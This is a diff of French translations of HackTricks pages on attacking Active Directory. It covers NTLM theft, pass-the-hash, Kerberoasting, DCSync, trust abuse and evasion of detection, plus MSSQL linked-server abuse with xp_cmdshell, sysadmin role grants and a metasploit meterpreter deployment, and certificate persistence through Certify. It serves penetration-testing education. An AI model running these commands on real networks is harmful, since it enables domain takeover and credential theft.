Si vous pouvez **accéder à d'autres PC ou partages** avec l'**utilisateur null ou invité**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous** afin que vous puissiez **voler** le **challenge NTLM** pour le cracker :
Si vous pouvez **accéder à d'autres PC ou partages** avec l'utilisateur **null ou invité**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, **déclencheront une authentification NTLM contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le cracker :
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -146,7 +146,7 @@ Si vous pouvez **accéder à d'autres PC ou partages** avec l'**utilisateur null
## Énumération de l'Active Directory AVEC des identifiants/session
Pour cette phase, vous devez avoir **compromis les identifiants ou une session d'un compte de domaine valide.** Si vous avez des identifiants valides ou un shell en tant qu'utilisateur de domaine, **vous devez vous rappeler que les options données auparavant sont toujours des options pour compromettre d'autres utilisateurs**.
Pour cette phase, vous devez avoir **compromis les identifiants ou une session d'un compte de domaine valide.** Si vous avez des identifiants valides ou un shell en tant qu'utilisateur de domaine, **vous devez vous rappeler que les options données précédemment sont toujours des options pour compromettre d'autres utilisateurs**.
Avant de commencer l'énumération authentifiée, vous devez savoir quel est le **problème du double saut Kerberos.**
@ -163,10 +163,10 @@ Concernant [**ASREPRoast**](asreproast.md), vous pouvez maintenant trouver chaqu
- Vous pourriez utiliser le [**CMD pour effectuer une reconnaissance de base**](../basic-cmd-for-pentesters.md#domain-info)
- Vous pouvez également utiliser [**powershell pour la reconnaissance**](../basic-powershell-for-pentesters/index.html) qui sera plus discrète
- Vous pouvez aussi [**utiliser powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez vraiment l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez absolument l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
- **D'autres outils d'énumération AD automatisés sont :** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Enregistrements DNS de l'AD**](ad-dns-records.md) car ils pourraient contenir des informations intéressantes.
- Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la suite **SysInternal**.
- Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la **SysInternal** Suite.
- Vous pouvez également rechercher dans la base de données LDAP avec **ldapsearch** pour chercher des identifiants dans les champs _userPassword_ & _unixUserPassword_, ou même pour _Description_. cf. [Mot de passe dans le commentaire utilisateur AD sur PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) pour d'autres méthodes.
- Si vous utilisez **Linux**, vous pourriez également énumérer le domaine en utilisant [**pywerview**](https://github.com/the-useless-one/pywerview).
- Vous pourriez également essayer des outils automatisés comme :
@ -182,7 +182,7 @@ Il est très facile d'obtenir tous les noms d'utilisateur du domaine depuis Wind
Kerberoasting implique d'obtenir des **tickets TGS** utilisés par des services liés à des comptes d'utilisateur et de cracker leur chiffrement—qui est basé sur les mots de passe des utilisateurs—**hors ligne**.
Plus à ce sujet dans :
Plus d'informations à ce sujet dans :
{{#ref}}
kerberoast.md
@ -214,13 +214,13 @@ Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails
### Looks for Creds in Computer Shares | SMB Shares
Maintenant que vous avez quelques identifiants de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés à l'intérieur de l'AD**. Vous pourriez le faire manuellement, mais c'est une tâche très ennuyeuse et répétitive (et encore plus si vous trouvez des centaines de documents à vérifier).
Maintenant que vous avez quelques identifiants de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés dans l'AD**. Vous pourriez le faire manuellement, mais c'est une tâche très ennuyeuse et répétitive (et encore plus si vous trouvez des centaines de documents à vérifier).
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous**, afin que vous puissiez **voler** le **challenge NTLM** pour le cracker :
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous**, vous permettant ainsi de **voler** le **challenge NTLM** pour le craquer :
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -228,7 +228,7 @@ Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer d
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Cette vulnérabilité permettait à tout utilisateur authentifié de **compromettre le contrôleur de domaine**.
Cette vulnérabilité a permis à tout utilisateur authentifié de **compromettre le contrôleur de domaine**.
{{#ref}}
printnightmare.md
@ -241,18 +241,18 @@ printnightmare.md
### Hash extraction
Espérons que vous avez réussi à **compromettre un compte administrateur local** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) y compris le relais, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Ensuite, il est temps de dumper tous les hashes en mémoire et localement.\
Ensuite, il est temps de vider tous les hachages en mémoire et localement.\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Une fois que vous avez le hash d'un utilisateur**, vous pouvez l'utiliser pour **l'imiter**.\
Vous devez utiliser un **outil** qui va **effectuer** l'**authentification NTLM en utilisant** ce **hash**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hash** à l'intérieur de **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hash sera utilisé.** La dernière option est ce que fait mimikatz.\
**Une fois que vous avez le hachage d'un utilisateur**, vous pouvez l'utiliser pour **l'usurper**.\
Vous devez utiliser un **outil** qui va **effectuer** l'**authentification NTLM en utilisant** ce **hachage**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hachage** dans le **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hachage sera utilisé.** La dernière option est ce que fait mimikatz.\
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Cette attaque vise à **utiliser le hash NTLM de l'utilisateur pour demander des tickets Kerberos**, en alternative au Pass The Hash courant sur le protocole NTLM. Par conséquent, cela pourrait être particulièrement **utile dans les réseaux où le protocole NTLM est désactivé** et où seul **Kerberos est autorisé** comme protocole d'authentification.
Cette attaque vise à **utiliser le hachage NTLM de l'utilisateur pour demander des tickets Kerberos**, en alternative au Pass The Hash courant sur le protocole NTLM. Par conséquent, cela pourrait être particulièrement **utile dans les réseaux où le protocole NTLM est désactivé** et où seul **Kerberos est autorisé** comme protocole d'authentification.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -260,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
Dans la méthode d'attaque **Pass The Ticket (PTT)**, les attaquants **volent un ticket d'authentification d'un utilisateur** au lieu de leur mot de passe ou de leurs valeurs de hash. Ce ticket volé est ensuite utilisé pour **imiter l'utilisateur**, obtenant un accès non autorisé aux ressources et services au sein d'un réseau.
Dans la méthode d'attaque **Pass The Ticket (PTT)**, les attaquants **volent un ticket d'authentification d'un utilisateur** au lieu de ses mots de passe ou valeurs de hachage. Ce ticket volé est ensuite utilisé pour **usurper l'utilisateur**, obtenant un accès non autorisé aux ressources et services au sein d'un réseau.
{{#ref}}
pass-the-ticket.md
@ -268,7 +268,7 @@ pass-the-ticket.md
### Credentials Reuse
Si vous avez le **hash** ou le **mot de passe** d'un **administrateur local**, vous devriez essayer de **vous connecter localement** à d'autres **PC** avec.
Si vous avez le **hachage** ou le **mot de passe** d'un **administrateur local**, vous devriez essayer de **vous connecter localement** à d'autres **PC** avec.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -299,7 +299,7 @@ unconstrained-delegation.md
### Délégation Contraignante
Si un utilisateur ou un ordinateur est autorisé à "Délégation Contraignante", il pourra **se faire passer pour n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
Si un utilisateur ou un ordinateur est autorisé à la "Délégation Contraignante", il pourra **se faire passer pour n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **vous faire passer pour n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
{{#ref}}
@ -316,7 +316,7 @@ resource-based-constrained-delegation.md
### Abus des Permissions/ACLs
L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets de domaine** qui pourraient vous permettre de **déplacer** latéralement/**escalader** des privilèges.
L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets de domaine** qui pourraient vous permettre de **vous déplacer** latéralement/**d'escalader** des privilèges.
{{#ref}}
acl-persistence-abuse/
@ -367,7 +367,7 @@ ad-certificates/domain-escalation.md
### Dumping des Identifiants de Domaine
Une fois que vous obtenez des privilèges **Administrateur de Domaine** ou même mieux **Administrateur d'Entreprise**, vous pouvez **dump** la **base de données de domaine** : _ntds.dit_.
Une fois que vous obtenez des privilèges **d'Administrateur de Domaine** ou même mieux **d'Administrateur d'Entreprise**, vous pouvez **dump** la **base de données de domaine** : _ntds.dit_.
[**Plus d'informations sur l'attaque DCSync peuvent être trouvées ici**](dcsync.md).
@ -422,7 +422,7 @@ Ce sont comme des tickets dorés forgés d'une manière qui **contourne les méc
diamond-ticket.md
{{#endref}}
### **Persistance des Comptes de Certificats**
### **Persistance de Compte par Certificats**
**Avoir des certificats d'un compte ou être capable de les demander** est un très bon moyen de pouvoir persister dans le compte des utilisateurs (même s'il change le mot de passe) :
@ -430,7 +430,7 @@ diamond-ticket.md
ad-certificates/account-persistence.md
{{#endref}}
### **Persistance des Certificats de Domaine**
### **Persistance de Domaine par Certificats**
**Utiliser des certificats est également possible pour persister avec des privilèges élevés à l'intérieur du domaine :**
@ -442,7 +442,7 @@ ad-certificates/domain-persistence.md
L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **groupes privilégiés** (comme les Administrateurs de Domaine et les Administrateurs d'Entreprise) en appliquant une **Liste de Contrôle d'Accès (ACL)** standard à travers ces groupes pour prévenir les modifications non autorisées. Cependant, cette fonctionnalité peut être exploitée ; si un attaquant modifie l'ACL de l'AdminSDHolder pour donner un accès complet à un utilisateur ordinaire, cet utilisateur obtient un contrôle étendu sur tous les groupes privilégiés. Cette mesure de sécurité, censée protéger, peut donc se retourner contre elle, permettant un accès non autorisé à moins d'être étroitement surveillée.
[**Plus d'informations sur le Groupe AdminDSHolder ici.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**Plus d'informations sur le groupe AdminDSHolder ici.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### Identifiants DSRM
@ -496,7 +496,7 @@ dcshadow.md
### Persistance LAPS
Auparavant, nous avons discuté de la façon d'escalader des privilèges si vous avez **suffisamment de permissions pour lire les mots de passe LAPS**. Cependant, ces mots de passe peuvent également être utilisés pour **maintenir la persistance**.\
Auparavant, nous avons discuté de la façon d'escalader des privilèges si vous avez **assez de permissions pour lire les mots de passe LAPS**. Cependant, ces mots de passe peuvent également être utilisés pour **maintenir la persistance**.\
Vérifiez :
{{#ref}}
@ -519,7 +519,7 @@ Dans un scénario typique, si un utilisateur souhaite accéder à un service dan
2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
3. Le client demande ensuite un **TGT inter-realm** à DC1, qui est nécessaire pour accéder aux ressources dans le **Domaine 2**.
4. Le TGT inter-realm est chiffré avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine (DC2)** du Domaine 2.
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine 2 (DC2)**.
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur dans le Domaine 2 auquel le client souhaite accéder.
7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
@ -532,10 +532,10 @@ Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B
**Différentes relations de confiance**
- **Confiances Parent-Enfant** : C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement une confiance bidirectionnelle transitive avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement voyager jusqu'à la racine de la forêt, puis descendre vers le domaine cible. En créant des liens croisés, le voyage est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement voyager jusqu'à la racine de la forêt, puis redescendre vers le domaine cible. En créant des liens croisés, le voyage est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
- **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont de nature non transitive. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
- **Confiances de Racine d'Arbre** : Ces confiances sont automatiquement établies entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien qu'elles ne soient pas couramment rencontrées, les confiances de racine d'arbre sont importantes pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de maintenir un nom de domaine unique et garantissant une transitivité bidirectionnelle. Plus d'informations peuvent être trouvées dans [le guide de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Confiances de Forêt** : Ce type de confiance est une confiance bidirectionnelle transitive entre deux domaines racines de forêt, appliquant également un filtrage SID pour améliorer les mesures de sécurité.
- **Confiances de Forêt** : Ce type de confiance est une confiance bidirectionnelle transitive entre deux domaines racines de forêt, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos conformes à [RFC4120](https://tools.ietf.org/html/rfc4120) non Windows. Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
#### Autres différences dans les **relations de confiance**
@ -554,7 +554,7 @@ Les attaquants pourraient accéder aux ressources dans un autre domaine par troi
- **Membre de Groupe Local** : Les principaux pourraient être ajoutés à des groupes locaux sur des machines, comme le groupe "Administrateurs" sur un serveur, leur accordant un contrôle significatif sur cette machine.
- **Membre de Groupe de Domaine Étranger** : Les principaux peuvent également être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature de la confiance et de la portée du groupe.
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACL, DACL et ACE, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux pourraient être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACL, DACL et ACE, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource précieuse.
### Trouver des utilisateurs/groupes externes avec des permissions
@ -612,17 +612,17 @@ sid-history-injection.md
#### Exploiter le NC de Configuration écrivable
Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration à travers une forêt dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrivables maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
Comprendre comment le Contexte de Nommage de Configuration (NC) peut être exploité est crucial. Le NC de Configuration sert de référentiel central pour les données de configuration dans les environnements Active Directory (AD). Ces données sont répliquées à chaque Contrôleur de Domaine (DC) au sein de la forêt, les DC écrivables maintenant une copie écrivable du NC de Configuration. Pour exploiter cela, il faut avoir **des privilèges SYSTEM sur un DC**, de préférence un DC enfant.
**Lier GPO au site DC racine**
Le conteneur Sites du NC de Configuration inclut des informations sur tous les sites des ordinateurs joints au domaine au sein de la forêt AD. En opérant avec des privilèges SYSTEM sur n'importe quel DC, les attaquants peuvent lier des GPO aux sites DC racine. Cette action compromet potentiellement le domaine racine en manipulant les politiques appliquées à ces sites.
Le conteneur Sites du NC de Configuration inclut des informations sur tous les sites des ordinateurs joints au domaine au sein de la forêt AD. En opérant avec des privilèges SYSTEM sur n'importe quel DC, les attaquants peuvent lier des GPO aux sites DC racines. Cette action compromet potentiellement le domaine racine en manipulant les politiques appliquées à ces sites.
Pour des informations approfondies, on peut explorer des recherches sur [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromettre n'importe quel gMSA dans la forêt**
Un vecteur d'attaque consiste à cibler des gMSA privilégiés au sein du domaine. La clé racine KDS, essentielle pour calculer les mots de passe des gMSA, est stockée dans le NC de Configuration. Avec des privilèges SYSTEM sur n'importe quel DC, il est possible d'accéder à la clé racine KDS et de calculer les mots de passe pour n'importe quel gMSA à travers la forêt.
Un vecteur d'attaque consiste à cibler les gMSA privilégiés au sein du domaine. La clé racine KDS, essentielle pour calculer les mots de passe des gMSA, est stockée dans le NC de Configuration. Avec des privilèges SYSTEM sur n'importe quel DC, il est possible d'accéder à la clé racine KDS et de calculer les mots de passe pour n'importe quel gMSA à travers la forêt.
Une analyse détaillée et un guide étape par étape peuvent être trouvés dans :
@ -630,6 +630,12 @@ Une analyse détaillée et un guide étape par étape peuvent être trouvés dan
golden-dmsa-gmsa.md
{{#endref}}
Attaque MSA déléguée complémentaire (BadSuccessor – abus des attributs de migration) :
{{#ref}}
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
Recherche externe supplémentaire : [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Attaque de changement de schéma**
@ -675,7 +681,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
Dans ce scénario, **votre domaine** **fait confiance** à certains **privilèges** d'un principal d'un **domaine différent**.
Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible de **accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
Cependant, lorsqu'un **domaine est approuvé** par le domaine de confiance, le domaine approuvé **crée un utilisateur** avec un **nom prévisible** qui utilise comme **mot de passe le mot de passe approuvé**. Ce qui signifie qu'il est possible d'**accéder à un utilisateur du domaine de confiance pour entrer dans le domaine approuvé** afin de l'énumérer et d'essayer d'escalader plus de privilèges :
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -702,7 +708,7 @@ rdp-sessions-abuse.md
- Pour les trusts inter-forêts, l'utilisation de l'authentification sélective garantit que les utilisateurs des deux forêts ne sont pas automatiquement authentifiés. Au lieu de cela, des autorisations explicites sont requises pour que les utilisateurs accèdent aux domaines et serveurs au sein du domaine ou de la forêt de confiance.
- Il est important de noter que ces mesures ne protègent pas contre l'exploitation du Contexte de Nommage de Configuration (NC) modifiable ou les attaques sur le compte de confiance.
[**Plus d'informations sur les trusts de domaine dans ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
[**Plus d'informations sur les trusts de domaine sur ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
@ -718,11 +724,11 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **Restrictions des Administrateurs de Domaine** : Il est recommandé que les Administrateurs de Domaine ne soient autorisés à se connecter qu'aux Contrôleurs de Domaine, évitant leur utilisation sur d'autres hôtes.
- **Privilèges des Comptes de Service** : Les services ne doivent pas être exécutés avec des privilèges d'Administrateur de Domaine (AD) pour maintenir la sécurité.
- **Limitation Temporelle des Privilèges** : Pour les tâches nécessitant des privilèges AD, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Limitation Temporelle des Privilèges** : Pour les tâches nécessitant des privilèges d'AD, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Mise en Œuvre de Techniques de Tromperie**
- La mise en œuvre de la tromperie implique de poser des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes de haute privilège.
- La mise en œuvre de la tromperie implique de mettre en place des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à privilèges élevés.
- Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Plus d'informations sur le déploiement de techniques de tromperie peuvent être trouvées sur [Deploy-Deception sur GitHub](https://github.com/samratashok/Deploy-Deception).
@ -734,9 +740,9 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Contournement des Systèmes de Détection**
- **Contournement de la Détection Microsoft ATA** :
- **Énumération des Utilisateurs** : Éviter l'énumération de session sur les Contrôleurs de Domaine pour prévenir la détection ATA.
- **Énumération des Utilisateurs** : Éviter l'énumération de session sur les Contrôleurs de Domaine pour prévenir la détection par l'ATA.
- **Impersonation de Ticket** : Utiliser des clés **aes** pour la création de tickets aide à éviter la détection en ne rétrogradant pas à NTLM.
- **Attaques DCSync** : Il est conseillé d'exécuter à partir d'un non-Contrôleur de Domaine pour éviter la détection ATA, car l'exécution directe à partir d'un Contrôleur de Domaine déclenchera des alertes.
- **Attaques DCSync** : Il est conseillé d'exécuter à partir d'un non-Contrôleur de Domaine pour éviter la détection par l'ATA, car une exécution directe à partir d'un Contrôleur de Domaine déclenchera des alertes.
## Références

15
src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
View File

@ -135,7 +135,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
## MSSQL Abus de base
### Accéder à la DB
### Accéder à la base de données
```bash
# List databases
Get-SQLInstanceDomain | Get-SQLDatabase
@ -212,7 +212,7 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
Un autre outil similaire qui pourrait être utilisé est [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn) :
Un autre outil similaire qui pourrait être utilisé est [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
```bash
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
# Cobalt Strike
@ -226,7 +226,7 @@ Vous pouvez facilement vérifier les liens de confiance en utilisant metasploit.
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
Remarquez que metasploit essaiera d'abuser uniquement de la fonction `openquery()` dans MSSQL (donc, si vous ne pouvez pas exécuter de commande avec `openquery()`, vous devrez essayer la méthode `EXECUTE` **manuellement** pour exécuter des commandes, voir plus ci-dessous.)
Remarquez que metasploit essaiera d'abuser uniquement de la fonction `openquery()` dans MSSQL (donc, si vous ne pouvez pas exécuter de commande avec `openquery()`, vous devrez essayer la méthode `EXECUTE` **manuellement** pour exécuter des commandes, voir plus bas.)
### Manuel - Openquery()
@ -278,9 +278,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
L'**utilisateur local MSSQL** a généralement un type de privilège spécial appelé **`SeImpersonatePrivilege`**. Cela permet au compte de "se faire passer pour un client après authentification".
Une stratégie que de nombreux auteurs ont développée est de forcer un service SYSTEM à s'authentifier auprès d'un service malveillant ou de type homme du milieu que l'attaquant crée. Ce service malveillant peut alors se faire passer pour le service SYSTEM pendant qu'il essaie de s'authentifier.
Une stratégie que de nombreux auteurs ont développée consiste à forcer un service SYSTEM à s'authentifier auprès d'un service malveillant ou de type homme du milieu que l'attaquant crée. Ce service malveillant peut alors se faire passer pour le service SYSTEM pendant qu'il essaie de s'authentifier.
[SweetPotato](https://github.com/CCob/SweetPotato) a une collection de ces diverses techniques qui peuvent être exécutées via la commande `execute-assembly` de Beacon.
### Relais NTLM du point de gestion SCCM (Extraction de secrets OSD)
Découvrez comment les rôles SQL par défaut des **Points de gestion SCCM** peuvent être abusés pour extraire les secrets du Compte d'accès réseau et de la séquence de tâches directement à partir de la base de données du site :
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

131
src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
View File

@ -2,44 +2,131 @@
{{#include ../../../banners/hacktricks-training.md}}
**Ceci est un petit résumé des chapitres sur la persistance des machines de la recherche incroyable de [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
**Ceci est un petit résumé des chapitres sur la persistance des comptes de la recherche incroyable de [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
## **Comprendre le vol de crédentiels d'utilisateur actifs avec des certificats – PERSIST1**
## Comprendre le vol de crédentiels d'utilisateur actifs avec des certificats – PERSIST1
Dans un scénario où un certificat permettant l'authentification de domaine peut être demandé par un utilisateur, un attaquant a l'opportunité de **demander** et **voler** ce certificat pour **maintenir la persistance** sur un réseau. Par défaut, le modèle `User` dans Active Directory permet de telles demandes, bien qu'il puisse parfois être désactivé.
Dans un scénario où un certificat permettant l'authentification de domaine peut être demandé par un utilisateur, un attaquant a l'opportunité de demander et de voler ce certificat pour maintenir la persistance sur un réseau. Par défaut, le modèle `User` dans Active Directory permet de telles demandes, bien qu'il puisse parfois être désactivé.
En utilisant un outil nommé [**Certify**](https://github.com/GhostPack/Certify), on peut rechercher des certificats valides qui permettent un accès persistant :
En utilisant [Certify](https://github.com/GhostPack/Certify) ou [Certipy](https://github.com/ly4k/Certipy), vous pouvez rechercher des modèles activés qui permettent l'authentification des clients et ensuite en demander un :
```bash
# Enumerate client-auth capable templates
Certify.exe find /clientauth
```
Il est souligné qu'un certificat a du pouvoir grâce à sa capacité à **s'authentifier en tant qu'utilisateur** auquel il appartient, indépendamment de tout changement de mot de passe, tant que le certificat reste **valide**.
Les certificats peuvent être demandés via une interface graphique en utilisant `certmgr.msc` ou via la ligne de commande avec `certreq.exe`. Avec **Certify**, le processus de demande d'un certificat est simplifié comme suit :
```bash
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
# Request a user cert from an Enterprise CA (current user context)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
